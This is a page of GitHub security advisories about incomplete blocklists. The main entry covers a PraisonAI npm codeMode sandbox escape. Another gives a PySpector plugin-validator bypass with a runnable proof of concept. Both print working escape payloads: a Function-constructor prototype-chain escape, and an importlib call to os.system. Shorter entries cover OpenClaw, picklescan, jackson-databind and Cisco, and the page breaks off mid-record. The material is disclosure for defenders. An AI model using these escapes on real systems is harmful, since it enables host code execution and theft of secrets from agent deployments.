Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Ecosystem:
npm - Package:
praisonai - Component:
src/praisonai-ts/src/tools/builtins/code-mode.ts - Current npm version checked:
1.7.1 - Refreshed
origin/mainchecked:1ad58ca02975ff1398efeda694ea2ab78f20cf3e
Confirmed affected range:
>= 1.4.0, <= 1.7.1
Boundary:
1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.
No fixed npm version is known at the time of this report.
Version Sweep
The included sweep installs selected npm versions and runs the same vulnerable shape from a script file:
node poc/version_sweep_poc.js
Observed result:
1.3.6: codeModeExported=false, hasDistCodeMode=false
1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
Git history for the TypeScript file points to the 1.4.0 integration:
56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies
2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies
Advisory History
Checked:
- visible PraisonAI advisories and prior reports;
- public GitHub advisory search results for PraisonAI
codeMode, npm, sandbox,new Function,process, andchild_process; and - visible public PraisonAI advisories for sandbox escapes.
Closest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:
GHSA-qf73-2hrx-xprp/CVE-2026-39888:pip:praisonaiagentsexecute_code()frame traversal in a Python subprocess sandbox.GHSA-4mr5-g6f9-cfrh/CVE-2026-47392:pip:praisonaiPythonexecute_code()sandbox escape throughprint.__self__.- Other published PraisonAI sandbox advisories cover Python
execute_code,SubprocessSandbox, Sandlock/native fallback, or CLI/managed-agent bridges.
This report is distinct because it targets:
- ecosystem:
npm; - package:
praisonai; - component:
src/praisonai-ts/src/tools/builtins/code-mode.ts; - root cause: host-context
new Functionplus blocklist/name-shadowing sandbox; and - affected range:
>= 1.4.0, <= 1.7.1.
One private npm report has already been submitted for TypeScript AgentOS missing authentication (GHSA-9752-mhqh-h34f). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a codeMode sandbox escape.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.1"
},
"package": {
"ecosystem": "npm",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57138"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:26:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript built-in tool named `codeMode`. The package describes this tool as executing code in a sandboxed environment, marks its capability as `sandbox: true`, and registers it through the public tools facade.\n\nThe implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets `process` and `require` to `undefined` inside a plain JavaScript object, and then executes attacker-controlled code with the host process `new Function` constructor:\n\n```text\nconst fn = new Function(\u0027sandbox\u0027, `with (sandbox) { ${code} }`);\nconst result = fn(sandbox);\n```\n\nBecause this runs in the host V8 context, code inside `codeMode` can use the JavaScript prototype chain to recover the real `Function` constructor:\n\n```text\n({}).constructor.constructor(\u0027return process\u0027)()\n```\n\nFrom a normal CommonJS application script, the recovered `process` object exposes `process.mainModule.require`. That bypasses the explicit `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.\n\n## Technical Details\n\nCurrent-head source says `codeMode` is a built-in package tool and explicitly advertises a sandbox boundary:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 13: description: \u0027Execute code that can import and use other tools in a sandboxed environment\u0027,\n 24: capabilities: {\n 25: sandbox: true,\n 26: code: true,\n 28: packageName: \u0027praisonai\u0027,\n 85: description: \u0027Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.\u0027,\n```\n\nThe same file implements security as a blocklist of exact source-code patterns:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 108: const blockedPatterns = [\n 109: /require\\s*\\(\\s*[\u0027\"]child_process[\u0027\"]\\s*\\)/,\n 110: /require\\s*\\(\\s*[\u0027\"]fs[\u0027\"]\\s*\\)/,\n 111: /import\\s+.*from\\s+[\u0027\"]child_process[\u0027\"]/,\n 112: /process\\.exit/,\n 113: /eval\\s*\\(/,\n```\n\nIt then tries to hide dangerous globals by shadowing names in a normal object:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 168: process: undefined,\n 169: require: undefined,\n```\n\nFinally, it executes the untrusted code in the host process using `new Function` and `with (sandbox)`:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 187: const fn = new Function(\n 188: \u0027sandbox\u0027,\n 189: `with (sandbox) { ${code} }`\n 190: );\n 191: const result = fn(sandbox);\n```\n\nThis is not a sandbox. `new Function` does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.\n\nThe tool is reachable through the public npm SDK:\n\n```text\nsrc/praisonai-ts/src/index.ts\n 117: airweaveSearch, codeMode,\n\nsrc/praisonai-ts/src/tools/tools.ts\n 104: // Code Mode\n 105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);\n 167: // Code Mode\n 168: codeMode: (config?: CodeModeConfig) =\u003e codeMode(config),\n```\n\n### Why This Is Not Intended Behavior\n\nThis is not merely \"the user can execute code because codeMode executes code.\" The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.\n\nThe implementation itself proves an intended security boundary exists:\n\n- `CODE_MODE_METADATA.capabilities.sandbox` is `true`;\n- the tool description says it executes in a sandboxed environment;\n- direct access to `fs` and `child_process` is explicitly blocked;\n- `process` and `require` are explicitly shadowed as `undefined`;\n- `allowNetwork` defaults to `false`; and\n- the config includes security-relevant controls such as `blockedTools`, `allowedPaths`, `timeoutMs`, and `maxMemoryMb`.\n\nThe PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.\n\nPraisonAI\u0027s official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with `npm install praisonai`. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.\n\n## PoV\n\nThe PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose `process.mainModule.require`; `node -e` or stdin do not always reproduce that deployment shape.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n \"package\": \"praisonai\",\n \"version\": \"1.7.1\",\n \"codeModeExported\": true,\n \"directRequireFsControl\": {\n \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]fs[\u0027\\\"]\\\\s*\\\\)\",\n \"exitCode\": 1,\n \"success\": false,\n \"error\": \"Code contains blocked patterns for security\"\n },\n \"directChildProcessControl\": {\n \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]child_process[\u0027\\\"]\\\\s*\\\\)\",\n \"exitCode\": 1,\n \"success\": false,\n \"error\": \"Code contains blocked patterns for security\"\n },\n \"escapedProcessEnv\": {\n \"output\": \"poc\",\n \"exitCode\": 0,\n \"success\": true\n },\n \"escapedFilesystem\": {\n \"output\": \"fs-ok\",\n \"exitCode\": 0,\n \"success\": true\n },\n \"escapedCommand\": {\n \"output\": \"poc\",\n \"exitCode\": 0,\n \"success\": true\n }\n}\n```\n\nInterpretation:\n\n- direct `require(\u0027fs\u0027)` is blocked;\n- direct `require(\u0027child_process\u0027)` is blocked;\n- the Function-constructor payload recovers host `process`;\n- the escaped process reads a host environment variable;\n- the escaped process imports `fs`; and\n- the escaped process imports `child_process` and runs a harmless `printf`.\n\nThe PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can supply code to `codeMode` can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.\n\nRealistic entry points include:\n\n- an application that exposes `codeMode` as an agent tool to end users;\n- an LLM/tool-call flow where prompt-controlled content reaches the `code` parameter;\n- MCP or tool-registry integrations that make the built-in `codeMode` tool callable; or\n- any multi-tenant service that relies on `codeMode` to safely run user or model-generated JavaScript.\n\nImpact after escape includes:\n\n- reading process environment variables, including API keys and service tokens;\n- reading files available to the Node process;\n- spawning subprocesses with `child_process`;\n- writing or modifying files through host filesystem APIs; and\n- terminating or resource-exhausting the host process.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: `codeMode` is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.\n- `AC`: a single code payload is enough.\n- `PR`: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.\n- `UI`: no additional user interaction is required once the tool is invoked.\n- `S`: execution crosses from the advertised sandbox security scope into the host Node.js process.\n- `C`: host files and environment variables are readable.\n- `I`: host subprocess and filesystem APIs are reachable.\n- `A`: escaped code can terminate processes or consume host resources.\n\n## Suggested Fix\n\nDo not use host-process `new Function` plus source-code blocklists as a sandbox.\n\nRecommended fix direction:\n\n1. Disable or clearly mark npm `codeMode` as unsafe until a real isolation boundary exists.\n2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.\n3. Enforce `allowNetwork`, `allowedPaths`, `timeoutMs`, `maxMemoryMb`, `allowedTools`, and `blockedTools` at that boundary instead of by scanning source strings.\n4. Do not rely on `node:vm` alone for untrusted code. The Node.js documentation explicitly says the `vm` module is not a security mechanism.\n5. Add regression tests for:\n - direct `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` blocked controls;\n - `({}).constructor.constructor(\u0027return process\u0027)()` blocked;\n - `process.mainModule.require(\u0027fs\u0027)` unavailable;\n - `process.mainModule.require(\u0027child_process\u0027)` unavailable;\n - host environment variables unavailable unless explicitly passed; and\n - tool-call IPC still works for allowed tools.\n\nIf maintainers need an emergency mitigation before a real sandbox exists, reject `codeMode` execution unless the caller opts into \"unsafe host JS execution\" with clear documentation that it can access the full Node process.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.4.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and runs the same vulnerable shape from a script file:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.3.6: codeModeExported=false, hasDistCodeMode=false\n1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n```\n\nGit history for the TypeScript file points to the 1.4.0 integration:\n\n```text\n56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n```\n\n## Advisory History\n\nChecked:\n\n- visible PraisonAI advisories and prior reports;\n- public GitHub advisory search results for PraisonAI `codeMode`, npm, sandbox, `new Function`, `process`, and `child_process`; and\n- visible public PraisonAI advisories for sandbox escapes.\n\nClosest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:\n\n- `GHSA-qf73-2hrx-xprp` / `CVE-2026-39888`: `pip:praisonaiagents` `execute_code()` frame traversal in a Python subprocess sandbox.\n- `GHSA-4mr5-g6f9-cfrh` / `CVE-2026-47392`: `pip:praisonai` Python `execute_code()` sandbox escape through `print.__self__`.\n- Other published PraisonAI sandbox advisories cover Python `execute_code`, `SubprocessSandbox`, Sandlock/native fallback, or CLI/managed-agent bridges.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`;\n- root cause: host-context `new Function` plus blocklist/name-shadowing sandbox; and\n- affected range: `\u003e= 1.4.0, \u003c= 1.7.1`.\n\nOne private npm report has already been submitted for TypeScript `AgentOS` missing authentication (`GHSA-9752-mhqh-h34f`). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a `codeMode` sandbox escape.",
"id": "GHSA-vmmj-pfw7-fjwp",
"modified": "2026-07-20T21:27:23Z",
"published": "2026-06-18T14:26:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmmj-pfw7-fjwp"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "npm PraisonAI codeMode sandbox escape via Function constructor"
}
GHSA-VP22-38M5-R39R
Vulnerability from github – Published: 2026-04-16 01:09 – Updated: 2026-04-24 20:53Summary
The plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in PluginSecurity.validate_plugin_code is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.
Details
The validator maintains a set called fatal_calls that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, os.system, and subprocess.Popen. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.
The following bypass techniques are not detected by the current implementation:
importlib.import_module is not in fatal_calls and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.
Dynamic attribute chains using __class__.__mro__ and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.
ctypes is not blocked and can be used to call native library functions including system.
__builtins__ dictionary access exposes all built-in callables without using the names that the validator checks.
types.CodeType allows construction and execution of raw code objects.
The alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.
Because the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.
PoC
import textwrap, tempfile, os
evil_plugin = textwrap.dedent("""
import importlib
mod = importlib.import_module('os')
mod.system('id > /tmp/pwned')
""")
with tempfile.NamedTemporaryFile(suffix=".py", mode="w", delete=False) as f:
f.write(evil_plugin)
plugin_path = f.name
from pyspector.plugin_system import PluginSecurity
result = PluginSecurity.validate_plugin_code(plugin_path)
print("Validation passed:", result)
exec(compile(open(plugin_path).read(), plugin_path, "exec"))
print("Command output:", open("/tmp/pwned").read())
os.unlink(plugin_path)
Impact
Any user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.7"
},
"package": {
"ecosystem": "PyPI",
"name": "pyspector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41206"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T01:09:17Z",
"nvd_published_at": "2026-04-23T02:16:18Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in `PluginSecurity.validate_plugin_code` is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.\n\n### Details\n\nThe validator maintains a set called `fatal_calls` that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, `os.system`, and `subprocess.Popen`. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.\n\nThe following bypass techniques are not detected by the current implementation:\n\n`importlib.import_module` is not in `fatal_calls` and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.\n\nDynamic attribute chains using `__class__.__mro__` and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.\n\nctypes is not blocked and can be used to call native library functions including system.\n\n`__builtins__` dictionary access exposes all built-in callables without using the names that the validator checks.\n\n`types.CodeType` allows construction and execution of raw code objects.\n\nThe alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.\n\nBecause the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.\n\n### PoC\n\n```python\nimport textwrap, tempfile, os\n\nevil_plugin = textwrap.dedent(\"\"\"\nimport importlib\nmod = importlib.import_module(\u0027os\u0027)\nmod.system(\u0027id \u003e /tmp/pwned\u0027)\n\"\"\")\n\nwith tempfile.NamedTemporaryFile(suffix=\".py\", mode=\"w\", delete=False) as f:\n f.write(evil_plugin)\n plugin_path = f.name\n\nfrom pyspector.plugin_system import PluginSecurity\n\nresult = PluginSecurity.validate_plugin_code(plugin_path)\nprint(\"Validation passed:\", result)\n\nexec(compile(open(plugin_path).read(), plugin_path, \"exec\"))\n\nprint(\"Command output:\", open(\"/tmp/pwned\").read())\nos.unlink(plugin_path)\n```\n\n### Impact\n\nAny user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.",
"id": "GHSA-vp22-38m5-r39r",
"modified": "2026-04-24T20:53:36Z",
"published": "2026-04-16T01:09:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ParzivalHack/PySpector/security/advisories/GHSA-vp22-38m5-r39r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41206"
},
{
"type": "WEB",
"url": "https://github.com/ParzivalHack/PySpector/commit/3c9547157fc07396f22b26b3484a9a91eba98555"
},
{
"type": "WEB",
"url": "https://github.com/ParzivalHack/PySpector/commit/4e279e078c53d760fd321ff9b698d683c65ccb8e"
},
{
"type": "PACKAGE",
"url": "https://github.com/ParzivalHack/PySpector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PySpector has a Plugin Code Execution Bypass via Incomplete Static Analysis in PluginSecurity.validate_plugin_code"
}
GHSA-VR6H-VXQJ-3PJX
Vulnerability from github – Published: 2026-06-16 21:32 – Updated: 2026-06-18 13:02Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.5.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:02:39Z",
"nvd_published_at": "2026-06-16T19:17:04Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.\n\n## Original Description\n\nOpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.",
"id": "GHSA-vr6h-vxqj-3pjx",
"modified": "2026-06-18T13:02:39Z",
"published": "2026-06-16T21:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ccwh-wwpp-6wg5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53864"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-sanitization-in-node-js-control-variables"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Host environment sanitizer missed two Node.js control variables",
"withdrawn": "2026-06-18T13:02:39Z"
}
GHSA-VR75-HJH9-7FR6
Vulnerability from github – Published: 2025-03-03 18:31 – Updated: 2025-03-03 20:05Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T20:05:26Z",
"nvd_published_at": "2025-02-26T15:15:24Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.21 does not treat \u0027pip\u0027 as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.",
"id": "GHSA-vr75-hjh9-7fr6",
"modified": "2025-03-03T20:05:26Z",
"published": "2025-03-03T18:31:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
},
{
"type": "WEB",
"url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis",
"withdrawn": "2025-03-03T20:05:26Z"
}
GHSA-W3F4-3Q6J-RH82
Vulnerability from github – Published: 2020-06-30 20:40 – Updated: 2024-03-01 21:56FasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.8.11"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-5968"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-30T20:40:31Z",
"nvd_published_at": "2018-01-22T04:29:00Z",
"severity": "HIGH"
},
"details": "FasterXML jackson-databind through 2.8.11 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 and CVE-2017-17485 deserialization flaws. This is exploitable via two different gadgets that bypass a blacklist.",
"id": "GHSA-w3f4-3q6j-rh82",
"modified": "2024-03-01T21:56:34Z",
"published": "2020-06-30T20:40:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5968"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/1899"
},
{
"type": "WEB",
"url": "https://github.com/GulajavaMinistudio/jackson-databind/pull/92/commits/038b471e2efde2e8f96b4e0be958d3e5a1ff1d05"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/454be8bb8c913be18298327a84ca45a280b61605"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/038b471e2efde2e8f96b4e0be958d3e5a1ff1d0"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/03ea0bec6293d4330b5ad19d1d62aca0e3cb6381"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4114"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03902en_us"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180423-0002"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3149"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1525"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0481"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0480"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0479"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0478"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data in jackson-databind"
}
GHSA-W3PW-JCPX-2QCC
Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32A vulnerability in the NETCONF feature of Cisco IOS XE Software could allow an authenticated, remote attacker to elevate privileges to root on an affected device.
This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted input over NETCONF to an affected device. A successful exploit could allow the attacker to elevate privileges from Administrator to root.
{
"affected": [],
"aliases": [
"CVE-2024-20278"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T17:15:51Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the NETCONF feature of Cisco IOS XE Software could allow an authenticated, remote attacker to elevate privileges to root on an affected device.\n\n This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted input over NETCONF to an affected device. A successful exploit could allow the attacker to elevate privileges from Administrator to root.",
"id": "GHSA-w3pw-jcpx-2qcc",
"modified": "2024-03-27T18:32:38Z",
"published": "2024-03-27T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20278"
},
{
